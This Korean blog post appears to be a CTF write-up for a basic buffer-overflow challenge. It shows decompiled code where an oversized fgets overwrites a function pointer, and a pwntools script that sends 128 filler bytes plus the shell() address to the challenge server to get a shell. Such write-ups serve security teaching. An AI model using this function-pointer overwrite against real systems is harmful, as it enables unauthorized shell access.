2021-09-09 · 2분
[시스템해킹] GrabCON can you? write up
그다음 문제~! 문제 파일 이름은 cancancan이었습니다.
2021-09-09 · 1분
이 글은 작성된 지 2년이 넘었어요. 내용이 오래됐을 수 있어요.
https://ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
int (*v5)(); // [esp+8Ch] [ebp-Ch]
v5 = sup;
fgets(s, 133, stdin);
v5();
return 0;
}
int shell()
{
return system("/bin/dash");
}
shell함수를 실행시키면 되는 문제 같습니다. fgets에서 BOF가 터집니다. 코드는 dummy[128] + shell 이면 해결될 것 같습니다. 왜 리턴까지 안덮냐고 궁금하실 수 있는데 코드를 다시한번 봐주세요. v5라는 함수를 실행시키는 부분이 있습니다. 그리고 우리는 s에서 부터 v5전까지 더미로 덮고 v5의 주소를 shell주소로 바꾸면 v5(); 이부분이 실행되면 shell함수가 실행되는 거와 똑같게 됩니다.

너무 내가 알고있는 기법에만 연연하지 말고 코드를 봐가며 문제를 풀면 더욱 쉽게 해결되실겁니다.
소스코드
더보기
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3001)
e = ELF("./bof_basic2")
shell = e.symbols['shell']
offset = 128
payload = b'A'*128 + p32(shell)
p.send(payload)
p.interactive()
**[해킹/시스템해킹] - [시스템해킹] Buffer Overflow(BOF)**](https://nabomhalang.tistory.com/entry/시스템해킹-HackCTF-BasicBOF-1) [[시스템해킹] Buffer Overflow(BOF) BUFFER OVERFLOW BOF 설정되어 있는 버퍼의 크기보다 크게 입력을 받을 수 있을 때 생기는 취약점입니다. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h.. > — nabomhalang.t — nabomhalang.tistory.com
원문: tistory — 2021-09-09 발행, 이 블로그로 이전됨.
…